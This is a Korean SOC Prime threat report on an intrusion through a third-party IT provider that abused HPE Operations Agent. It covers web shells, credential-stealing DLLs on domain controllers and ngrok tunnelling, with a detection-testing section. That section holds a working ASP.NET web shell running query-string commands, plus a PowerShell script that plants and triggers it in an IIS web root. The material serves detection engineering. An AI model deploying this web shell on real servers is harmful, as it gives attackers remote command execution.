SOC Prime Bias: 중요

18 May 2026 18:27 UTC

서드파티를 통한 은밀한 침입 조사

Author Photo
SOC Prime Team linkedin icon 팔로우
서드파티를 통한 은밀한 침입 조사
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 위협 행위자가 서드파티 IT 서비스 제공업체를 공격하여 합법적인 HPE Operations Agent를 악용해 웹 셸, 자격 증명 탈취 DLL 및 터널링 유틸리티를 배포한 은밀한 침입을 조사합니다. 신뢰할 수 있는 관리 소프트웨어에 의존하여 명확한 침입 징후를 최소화하면서 장기적인 접근을 유지할 수 있었습니다.

조사

Microsoft Incident Response는 인터넷에 노출된 서버에 대한 초기 웹 셸 배포로부터 HPE Operations Agent를 통한 VBScript 실행까지의 활동을 추적했습니다. 조사는 이후에 도메인 컨트롤러에 악의적인 네트워크 제공업체와 암호 필터 DLL의 등록을 밝히고, 수집된 자격 증명의 재사용과 환경 전반의 수평 이동을 지원하는 ngrok 터널 사용을 발견했습니다.

완화 조치

권장하는 방어 조치로는 신뢰할 수 있는 서드파티 접근을 축소하고 엄격하게 제어하는 것, LSA 알림 패키지에 대한 무단 DLL 등록 모니터링, 수상한 웹 셸 변경 사항 탐지, 엄격한 이그레스 필터링 시행, 그리고 모든 엔드포인트에 대한 EDR 커버리지 보장이 포함됩니다.

대응

해당 활동이 감지되면, 침해된 시스템을 격리하고 악성 DLL과 웹 셸 제거, 도난당한 자격 증명 취소, 무단 네트워크 제공업체 비활성화, 수집된 아티팩트를 사용하여 수평 이동 사냥을 진행하십시오.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodes u2013 Initial Access action_initial_trusted["<b>Action</b> – <b>T1199 신뢰된 관계</b><br/>서드파티 IT 서비스 제공업체를 침해하고 신뢰할 수 있는 HPE Operations Agent를 사용하여 악성 코드를 실행합니다."] class action_initial_trusted action tool_hpe_oa["<b>도구</b> – <b>이름</b>: HPE Operations Agent (OA)<br/><b>목적</b>: 타겟 서버에서 스크립트를 실행하는 합법적인 에이전트."] class tool_hpe_oa tool %% Nodes u2013 Execution action_execution_vbscript["<b>Action</b> – VBScripts 실행 (T1059.005)<br/>시스템, 네트워크 및 AD 검색을 위해 <i>abc003.vbs</i> 실행."] class action_execution_vbscript action file_abc003["<b>파일</b> – <b>이름</b>: abc003.vbs<br/><b>유형</b>: Visual Basic Script"] class file_abc003 file %% Nodes u2013 Persistence (Web Shell) action_persistence_webshell["<b>Action</b> – <b>T1505.003 서버 소프트웨어 구성 요소: Web Shell</b><br/>인터넷에 노출된 서버에 <i>Errors.aspx</i>와 <i>Signoff.aspx</i> 웹 셸 배포."] class action_persistence_webshell action file_errors["<b>파일</b> – <b>이름</b>: Errors.aspx<br/><b>기능</b>: 원격 명령 실행 웹 셸."] class file_errors file file_signoff["<b>파일</b> – <b>이름</b>: Signoff.aspx<br/><b>기능</b>: 원격 명령 실행 웹 셸."] class file_signoff file %% Nodes u2013 Persistence (Network Provider DLL) action_persistence_np_dll["<b>Action</b> – <b>T1556.008 네트워크 제공업체 DLL</b><br/>도메인 컨트롤러에 악의적인 <i>mslogon.dll</i> 등록하여 평문 자격 증명 캡처."] class action_persistence_np_dll action file_mslogon["<b>파일</b> – <b>이름</b>: mslogon.dll<br/><b>위치</b>: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Nodes u2013 Persistence (Password Filter DLL) action_persistence_passdll["<b>Action</b> – <b>T1556.002 암호 필터 DLL</b><br/>DC01/DC02에 LSA 알림 패키지로 <i>passms.dll</i> 추가하여 암호 변경 가로채기."] class action_persistence_passdll action file_passms["<b>파일</b> – <b>이름</b>: passms.dll<br/><b>위치</b>: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Nodes u2013 Credential Access (Files) action_cred_in_files["<b>Action</b> – <b>T1552.001 파일 내 자격 증명</b><br/>수집된 자격 증명을 평문 또는 인코딩된 파일로 디스크에 저장합니다."] class action_cred_in_files action %% Nodes u2013 Credential Access (OS Dumping) action_os_credential_dump["<b>Action</b> – <b>T1003 운영 체제 자격 증명 덤핑</b><br/>DLL 기반 인터셉션을 통해 외부 도구 없이 자격 증명 덤핑 제공."] class action_os_credential_dump action %% Nodes u2013 Lateral Movement (Valid Accounts) action_lateral_local["<b>Action</b> – <b>T1078.003 유효한 계정: 로컬 계정</b><br/>수집된 자격 증명을 재사용하여 RDP 및 SMB를 통해 인증."] class action_lateral_local action %% Nodes u2013 Lateral Movement (Remote Services) action_lateral_remote["<b>Action</b> – <b>T1021 원격 서비스</b><br/>암호화된 ngrok 터널을 통해 RDP 세션을 설정하여 수평 이동."] class action_lateral_remote action %% Nodes u2013 Command & Control (Proxy) action_c2_proxy["<b>Action</b> – <b>T1090 프록시</b><br/>ngrok을 멀티홉 프록시로 배포하여 은밀한 C2 채널 생성."] class action_c2_proxy action tool_ngrok["<b>도구</b> – <b>이름</b>: ngrok<br/><b>목적</b>: 트래픽 터널링을 위한 TCP/HTTPS 터널 생성."] class tool_ngrok tool %% Nodes u2013 Command &amp Dev Control (Protocol Tunneling) action_c2_tunnel["<b>Action</b> – <b>T1572 프로토콜 터널링</b><br/>C2 트래픽을 ngrok 터널 내에 캡슐화하여 탐지를 회피."] class action_c2_tunnel action %% Nodes u2013 Collection (Network Shared Drive) action_collection_share["<b>Action</b> – <b>T1039 네트워크 공유 드라이브의 데이터</b><br/>원 거리 SMB 공유에 인코딩된 자격 파일 생성 후 유출."] class action_collection_share action %% Nodes u2013 Defense Evasion (DLL Hijack) action_defense_dll["<b>Action</b> – <b>T1574.001 실행 흐름 가로채기: DLL</b><br/><i>msupdate.dll</i>이 데이터 위장하여 SMTP 및 SMB를 통해 외부로 전송. 이미지 파일위장."] class action_defense_dll action file_msupdate["<b>파일</b> – <b>이름</b>: msupdate.dll<br/><b>페이로드</b>: icon02.jpeg로 전송된 인코딩된 데이터."] class file_msupdate file %% Nodes u2013 Persistence (Winlogon Helper DLL) action_persistence_winlogon["<b>Action</b> – <b>T1547.004 Winlogon Helper DLL</b><br/>로그온 시 실행되도록 <i>mslogon.dll</i>을 Winlogon 도우미로 등록."] class action_persistence_winlogon action %% Connections u2013 Attack Flow action_initial_trusted –>| 사용하다| tool_hpe_oa tool_hpe_oa –>| 실행한다| action_execution_vbscript action_execution_vbscript –>| 실행한다| file_abc003 action_execution_vbscript –>| 연결된다| action_persistence_webshell action_persistence_webshell –>| 작성된다| file_errors action_persistence_webshell –>| 작성된다| file_signoff action_persistence_webshell –>| 활성화된다| action_persistence_np_dll action_persistence_np_dll –>| 설치된다| file_mslogon action_persistence_np_dll –>| 활성화된다| action_persistence_passdll action_persistence_passdll –>| 설치된다| file_passms action_persistence_passdll –>| 저장된다| action_cred_in_files action_cred_in_files –>| 데이터 제공한다| action_os_credential_dump action_os_credential_dump –>| 활성화된다| action_lateral_local action_lateral_local –>| 사용하다| action_lateral_remote action_lateral_remote –>| 활용하다| tool_ngrok tool_ngrok –>| 촉진하다| action_c2_proxy action_c2_proxy –>| 활성화된다| action_c2_tunnel action_c2_tunnel –>| 지원하다| action_collection_share action_collection_share –>| 파일 제공한다| action_defense_dll action_defense_dll –>| 사용하다| file_msupdate action_defense_dll –>| 지원하다| action_persistence_winlogon action_persistence_winlogon –>| 의존하다| file_mslogon %% 스타일링 class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry & Baseline Pre‑flight Check가 통과되어야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거할 수 있는 적대자 기술(T1199)의 정확한 실행을 상세히 설명합니다. 명령과 설명은 식별된 TTPs를 직접 반영하고 탐지 논리에 의해 예상되는 정확한 텔레메트를 생성하는 것을 목표로 해야 합니다.

  • 공격 내러티브 및 명령:

    1. 초기 침해: 공격자가 웹 루트에 쓰기 액세스를 얻습니다(예: 도난당한 자격 증명이나 취약한 업로드 엔드포인트를 통해).
    2. 웹 셸 배포: 악성 ASP.NET 웹 셸을 업로드합니다 Errors.aspx (또는 기존의 Signoff.aspx)을 수정하여 쿼리 문자열을 통해 제공된 임의의 PowerShell 명령을 실행합니다.
    3. 셸 트리거: 공격자는 PowerShell 페이로드와 함께 HTTP GET 요청을 셸에 보냅니다 cmd 파라미터에 포함, 예: https://corp.example.com/Errors.aspx?cmd=whoami. 이 요청은 IIS에 의해 로그되며, cs-uri-stem 값은 /Errors.aspx – sigma 규칙이 일치하는 것이 바로 이것입니다.
  • 회귀 테스트 스크립트: 스크립트는 2~3단계를 재현합니다(업로드는 미리 제작된 파일을 웹 루트에 복사하여 시뮬레이션하며; 트리거링은 Invoke-WebRequest).

    # -------------------------------------------------
    # 웹 셸 시뮬레이션 스크립트 – 윈도우 서버/IIS
    # -------------------------------------------------
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx",
        [string]$Payload = "whoami"
    )
    
    # 1. 단순 ASP.NET 웹 셸 배포(테스트용 최소)
    $shellContent = @"
    <%@ Page Language="C#" %>
    <% 
    string cmd = Request.QueryString["cmd"];
    if (!String.IsNullOrEmpty(cmd)) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    %>
    "@
    
    $shellPath = Join-Path $WebRoot $ShellName
    Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force
    
    Write-Host "[+] $shellPath 경로에 웹 셸 배포됨"
    
    # 2. 웹 서버가 새 파일을 등록할 수 있도록 잠시 대기
    Start-Sleep -Seconds 2
    
    # 3. 웹 셸을 호출하여 탐지 트리거 로그 항목 생성
    $uri = "http://localhost/$ShellName?cmd=$Payload"
    Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    
    Write-Host "[+] $uri 경로를 통해 웹 셸 실행됨"
    # -------------------------------------------------
  • 정리 명령: 테스트 웹 셸 및 잔여 파일을 제거합니다.

    # 정리 스크립트 – 시뮬레이션 웹 셸 제거
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx"
    )
    $shellPath = Join-Path $WebRoot $ShellName
    if (Test-Path $shellPath) {
        Remove-Item -Path $shellPath -Force
        Write-Host "[+] $shellPath 경로 제거됨"
    } else {
        Write-Host "[-] Shell 파일을 찾을 수 없음; 정리할 것이 없습니다."
    }